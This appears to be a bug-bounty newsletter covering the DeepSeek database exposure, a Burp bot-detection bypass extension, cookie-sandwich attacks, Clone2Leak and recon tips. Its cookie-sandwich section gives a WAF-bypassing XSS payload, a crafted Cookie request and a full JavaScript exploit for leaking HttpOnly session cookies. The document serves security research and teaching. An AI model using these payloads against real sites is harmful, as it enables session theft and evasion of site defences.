Hacker TL;DR

• The DeepSeek Fiasco: DeepSeek, a Chinese AI startup, exposed sensitive data through an unsecured ClickHouse database, containing millions of logs with chat history and API keys. Wiz researchers discovered the database at oauth2callback.deepseek.com:9000 and dev.deepseek.com:9000

  • The unprotected database allowed attackers to:

    • Access chat logs and API keys

    • View backend details

    • Potentially escalate privileges

• Portswigger's Bot Protection Bypass Extension: This Burp Suite extension modifies TLS settings to bypass bot detection by making automated traffic look like real browser requests. While effective against TLS fingerprinting, it cannot bypass advanced anti-bot systems. It contains various modes (Firefox/Chrome/Safari) to imitate various TLS configs.

• The "Cookie Sandwich" Attack: Bypassing HttpOnly Cookies: The "cookie sandwich" attack exploits server cookie parsing to bypass HttpOnly flags. By manipulating cookie structures with legacy attributes and special characters, attackers can expose protected session cookies. The technique uses quoted strings and $Version attributes to confuse parsers, causing them to expose HttpOnly cookies in responses.

• Alternative Recon Techniques

  • URLScan: Great tool for finding pages that reference your target. Not very effective for large targets, but for specific subdomains or more niche scenarios it's really good. You’ll have to filter through a lot of stuff because it gives a lot of false positives.

  • Docker Containers for source code leaks Like GitHub code review, Docker container analysis can reveal vulnerabilities. Download containers, examine their contents and version history to find potential security issues and data leaks.

  • SSL Certificate Scanning: SSL certificate scanning helps discover new domains and subdomains linked to a target company, revealing acquisitions, partnerships, and other assets. This gives you an advantage in bug bounty programs that accept reports for all company-owned properties.

  • AI Recon: AI-powered recon automation could streamline target analysis by handling routine tasks like running Google dorks, scanning GitHub repos, and performing reverse searches.

  • Changelog Diffing: Changelog analysis is highly reliable since it shows actual code changes. Each commit represents a concrete modification, whether new features or bug fixes.

The White House has recently banned the use of Kaspersky products across the United States, citing concerns over potential data access risks and allegations of incorporating "backdoors" in their software.

In response, ThreatLocker®, a prominent provider of Zero Trust cybersecurity solutions, has introduced a complimentary system cyber health report. This tool offers businesses insights into their IT environments, highlighting vulnerabilities associated with foreign software. This proactive measure assists organizations in assessing and securing their software ecosystems, ensuring compliance and preemptively addressing security threats. While acknowledging national security concerns raised by foreign software, ThreatLocker® emphasizes the broader scope of vulnerabilities, exemplified by incidents like the 2020 SolarWinds attack. The ThreatLocker® cyber health report comprehensively details all applications in use, their countries of origin, and potential data access implications, promoting informed decision-making and robust security protocols.

Learn More About the ThreatLocker® Cyber Health Report Here: https://www.criticalthinkingpodcast.io/chr

— The DeepSeek Fiasco

DeepSeek, the Chinese AI startup known for its powerful reasoning model, accidentally left a publicly accessible ClickHouse database wide open, exposing over a million lines of sensitive logs—including chat history, API keys, and backend details.

Security researchers at Wiz were checking DeepSeek’s security when they quickly found an open database, available without any authentication at:

• oauth2callback.deepseek.com:9000

• dev.deepseek.com:9000

By using simple SQL queries, they confirmed the database allowed full control over stored data, meaning an attacker could:

• Extract chat logs and API keys

• Access backend operational details

• Possibly escalate privileges within DeepSeek’s infrastructure

The researchers used basic recon to map DeepSeek's attack surface. While most domains looked normal, ports 8123 & 9000 stood out leading them to ClickHouse's HTTP interface. This high-speed database used for big data analytics was completely unprotected and allowed them to query tables directly from the browser. Running a simple SHOW TABLES; command revealed a log_stream table, containing logs with timestamps, API references, plaintext chat data, and more.

— PortSwigger is Back With Some Cool Stuff

Bypass Bot Protection

This Burp Suite extension tweaks TLS cipher to bypass bot detection mechanisms that rely on TLS fingerprinting. Essentially, it modifies how TLS connections look to make traffic appear more like real browsers instead of automated tools. This extension is useful for evading basic bot detection that relies on TLS fingerprints, but it’s not a silver bullet against more advanced anti-bot measures.

• It changes network settings under Settings → Network → TLS, enabling custom protocols and ciphers.

• You activate it by right-clicking a request/response in the Proxy History, then selecting Extensions → Bypass bot detection.

• If the server responds differently (e.g., different headers or content), the extension logs the request and adds notes in Proxy History.

Available Modes

• Firefox Mode – Uses a predefined set of TLS cipher suites and spoofs a Firefox User-Agent.

• Chrome Mode – Same as Firefox, but with Chrome-compatible cipher suites and a Chrome User Agent.

• Safari Mode – Uses Safari’s cipher suite list and User-Agent to mimic Apple’s browser.

• HTTP/2 Downgrade – Forces HTTP/1 instead of HTTP/2, bypassing aggressive HTTP/2 fingerprinting.

• Brute Force Mode – Tries different TLS protocol versions and cipher suite combos to find one that gets past detection.

The “Cookie Sandwich” Attack: Bypassing HttpOnly Cookies

The “cookie sandwich” attack exploits how certain web servers parse cookies, allowing attackers to bypass the HttpOnly flag and access session cookies from client-side scripts. By manipulating cookie structures using legacy parsing mechanisms and special characters, attackers can trick web servers into exposing sensitive authentication tokens.

The attack relies on placing quotes and legacy cookie attributes such as $Version in a way that confuses the server’s cookie parser. When a vulnerable server processes these malformed cookies, it may include HttpOnly session cookies inside an attacker-controlled response.

This misconfiguration occurs due to legacy cookie parsing rules in Apache Tomcat and some Python frameworks like Flask, which support quoted strings in cookies.

When the application reflects the param1 cookie incorrectly in the response or skips the HttpOnly flag, attackers can abuse this as you would a cookie without any secure flags set - including any HttpOnly session cookies that sit between param1 and param2.

The attack works especially well with Python frameworks since they handle quoted strings by default (no need for $Version tricks). These frameworks use semicolons to separate cookie pairs and encode special characters in a specific way: a forward slash plus three octal digits. Here's how you'd structure a "cookie sandwich" attack on a Flask app:

Stealing an HttpOnly PHPSESSID cookie

A security researcher found a way to steal HttpOnly PHPSESSID cookies by exploiting a reflected XSS vulnerability on an error page. The technique combines multiple security bypasses and leverages a tracking domain's cookie handling.

They discovered that the app didn't properly escape links and meta attributes, allowing JavaScript injection. Even though AWS WAF was protecting the app, they bypassed it using a new event called oncontentvisibilityautostatechange:

<link rel="canonical"
oncontentvisibilityautostatechange="alert(1)"
style="content-visibility:auto">

After getting JavaScript execution, they found a tracking domain that would echo back session IDs in its JSON responses (deadbeef is the sessionId of the user):

This subsequently:

• Reflects cookie value in the response body

• Allows cross-origin request from vulnerable domain

The cookie sandwich part

The tracking app ran on Apache Tomcat and would override the URL session parameter with Cookie header values. They used the $Version cookie to switch to RFC2109 mode and did some cookie order manipulation by setting the path to /json. This allowed them to sandwich the HttpOnly cookie between other values:

GET/json?session=ignored
Host:tracking.example.com
Origin:<https://www.example.com>
Referer:<https://www.example.com/>
Cookie:$Version=1; session="deadbeef; PHPSESSID=secret; dummy=qaz"

HTTP/2 200 OK
Content-Type: application/json;charset=UTF-8
Access-Control-Allow-Origin: <https://www.example.com>
Access-Control-Allow-Credentials: true

{"session":"deadbeef; PHPSESSID=secret; dummy=qaz"}

The flow would be:

• Victim hits a page with the XSS payload using oncontentvisibilityautostatechange

• Script sets $Version=1 and session="deadbeef cookies with /json path

• Adds dummy=qaz" cookie

• Makes CORs request to tracking endpoint which leaks the sandwiched PHPSESSID

Finally, here’s the whole exploit:

async function sandwich(target, cookie) {
    // Step 1: Create an iframe with target src and wait for it
const iframe = document.createElement('iframe');

    const url = new URL(target);
    const domain = url.hostname;
    const path = url.pathname;

    iframe.src = target;
    // Hide the iframe
iframe.style.display = 'none';
    document.body.appendChild(iframe);
    // Optional: Add your code to check and clean client's cookies if needed
iframe.onload = async () => {
        // Step 2: Create cookie gadget
document.cookie = `$Version=1; domain=${domain}; path=${path};`;
        document.cookie = `${cookie}="deadbeef; domain=${domain}; path=${path};`;
        document.cookie = `dummy=qaz"; domain=${domain}; path=/;`;
        // Step 3: Send a fetch request
try {
            const response = await fetch(`${target}`, {
                credentials: 'include',
            });
            const responseData = await response.text();
            // Step 4: Alert response
            
alert(responseData);
        } catch (error) {
            console.error('Error fetching data:', error);
        }
    };
}

setTimeout(sandwich, 100, '<http://example.com/json>', 'session');

— Report Pointers for Collaborative Chains by @DDay

It’s really common for hackers to chain multiple vulns together in order to achieve that P1, but what can we do when there’s one thing missing from the attack chain? Douglas Day came out with a cool idea.

When you know a hacker who has found the vuln that you want in order to achieve your goal:

1. Reach out to the other researcher and explain your chain

2. If they’re willing to collaborate, get their report number

3. In your report, simply reference their report number for that step

This approach has several benefits:

• The original researcher’s work remains protected

• The program gets visibility into how vulnerabilities can chain together

• You get to demonstrate the full impact of your finding

• Both researchers can get proper credit for their contributions

Before using this approach, make sure to:

• Get explicit permission from the other researcher

• Agree on a proper bounty split

Thanks to @DDay for this cool tip!

— Git Credentials: Clone2Leak - By @Ryotkak

This article is so beautifully written that it would be a disservice to modify Ryota's work since it's already so concise. So here's a TL;DR:

• Several Git-related projects, including GitHub Desktop, Git Credential Manager, and Git LFS, were vulnerable to credential leaks due to improper handling of newline and carriage return characters in the Git Credential Protocol.

• These issues allowed attackers to trick credential helpers into leaking stored Git credentials by manipulating how authentication requests were parsed. The vulnerabilities affected multiple implementations across different platforms, leading to CVEs such as CVE-2025-23040, CVE-2024-50338, CVE-2024-53263 and a few more.

Please check out the full article here:

https://flatt.tech/research/posts/clone2leak-your-git-credentials-belong-to-us/

— Leaking Geolocation via CACHE

Cloudflare is a CND that caches content in data centres across 120+ countries to make the user experience more fluid. Each request processed by Cloudflare includes metadata in the response headers, such as cf-cache-status and cf-ray, which reveals the nearest data centre’s airport code. This information can be abused to estimate a user’s location by checking which datacenter cached a specific resource they accessed.

Bypassing Cloudflare’s Anycast Restriction

Cloudflare’s network is strictly anycast, meaning requests are always routed to the nearest data centre. However, a Cloudflare Workers bug allowed requests to be directed to specific data centres using an internal Cloudflare WARP IP range. This discovery led to the creation of Cloudflare Teleport, a proxy tool that lets researchers query specific Cloudflare datacenters for cached content. Cloudflare later patched this bug, but it was instrumental in testing the attack concept.

Proof-of-Concept: Tracking Users via Cached Resources

By leveraging Cloudflare Teleport, the researcher confirmed the theory by checking the cached favicon of Namecheap.com. Since favicons are automatically downloaded by browsers, a simple script was able to list all Cloudflare datacenters that had cached the favicon within the last five minutes, revealing locations of recent visitors:

— Alternative Recon Techniques

Nowadays with people like @Jhaddix and @NahamSec willingly sharing so much cool stuff about this topic, it has become quite easy for everyone to understand and perform a good recon. Most people already know the basic stuff like subdomain enumeration, bruteforcing, permutations, SSL cert scanning, etc. In this episode, the boys talked about some alternative stuff that not that many people know about.

URLScan

The first one is URLScan, which is a great tool for finding pages that reference your target. It's not very effective for large targets like amazon.com, but for specific subdomains or more niche scenarios you might encounter, it's really good. You’ll have to filter through a lot of stuff because it gives a lot of false positives but it’s worth trying.

Third-Party Relationship

CHIPS is a way of handling third-party cookies. It ensures that when Website B sets a cookie on Website A, that cookie only works for Website A, it doesn’t follow you anywhere else.

How It Works

• Partitioned Cookies: Each third-party cookie is isolated per website, meaning Website B’s chat widget on Website A has a separate cookie from Website B’s widget on Website C.

• Prevents Cross-Site Tracking: Advertisers and trackers can no longer use these cookies to track you across multiple websites.

• Improves Privacy: Features like embedded logins, chat widgets, or payment services can still function without tracking you across sites.

Ok, this is still new but it might become a thing in the future: you can go to this file and check if your target has defined any relationship with third parties. You could then go to that third party and get an XSS for your exploit chain. When we’re hacking huge organisations, most of the time it’s a lot easier to leverage the third-party trust than it is to actually find a vuln in their core assets.

Docker Containers for Source Code Leaks

People have been reviewing source code on GitHub for ages, it’s time to do the same for Docker Containers. Download it, analyse it, check older versions, take a look at everything that is available and it’ll be right at home if you’re already familiar with doing code review/checking for potential vulns and leaks.

SSL Certificate Scanning

SSL certificate scanning can be a useful OSINT technique to discover new domains, subdomains, or services related to that company. You’ll find things like recently acquired companies, new subdomains, new partnerships, etc. Doing this before someone else does gives you a headstart when a company pays for every bug that affects them or accepts reports for everything they own.

AI Recon

Another cool way of doing recon that isn’t a reality yet is getting an AI agent to do all the basic stuff we do when going through a list of targets we have some interest. Maybe we could give it a list of Google dorks, document what each of them does and have AI search for all these things for us. This technique could be expanded to some other stuff like GitHub repos, reverse searches, etc.

ChangeLog Diffing

This is a big one because it gives no false positives. Every time someone pushes code, it does something and you only have to go there and figure out what changed. Maybe it’s new functionality, maybe they’re fixing a bug, we don’t know. So go there and check.

That's a wrap for this week's HackerNotes!

And as always, keep hacking!

— <criticalthinking>